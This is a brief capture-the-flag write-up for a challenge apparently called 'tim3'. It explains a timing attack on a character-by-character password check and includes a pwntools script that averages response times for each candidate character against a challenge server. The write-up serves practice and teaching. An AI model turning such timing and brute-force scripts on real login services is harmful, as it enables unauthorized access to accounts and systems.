tim3, mentions of hardware, nothing but a password request… Looks like a timing-based attack.

Assuming the server checks the password character by character, I decided to make a solve script to check the times. However, I kept getting inconsequential times, so I decided to send each character 5 times and average the response times. Doing this finally gave constant results.

```
from pwn import *
import string
import time
host = '35.246.139.54'
port = 30195
r = remote(host, port)
r.recvuntil(':')
charset = string.ascii_lowercase + string.ascii_uppercase + string.digits
password=""
results = []
def get_chars():
    for char in charset:
        times = []
        for _ in range(5):
            start_time = time.perf_counter()
            r.sendline(password+char)
            try:
                r.recvuntil('W')
                stop_time = time.perf_counter()
                r.recvuntil(':')
                round_trip_time = stop_time - start_time
                times.append(round_trip_time)
            except EOFError:
                print(r.recv())
        avg_time = sum(times) / len(times)
        results.append((char, avg_time))
get_chars()
sorted_results = sorted(results, key=lambda x: x[1], reverse=True)
for char, avg_time in sorted_results:
    print(f"Sent character: {char}, Average round trip time: {avg_time:.6f}
seconds")
r.close()
```

Now all we need to do is run the script a few times and update the password after each attempt.

Made with love by: AndreiCat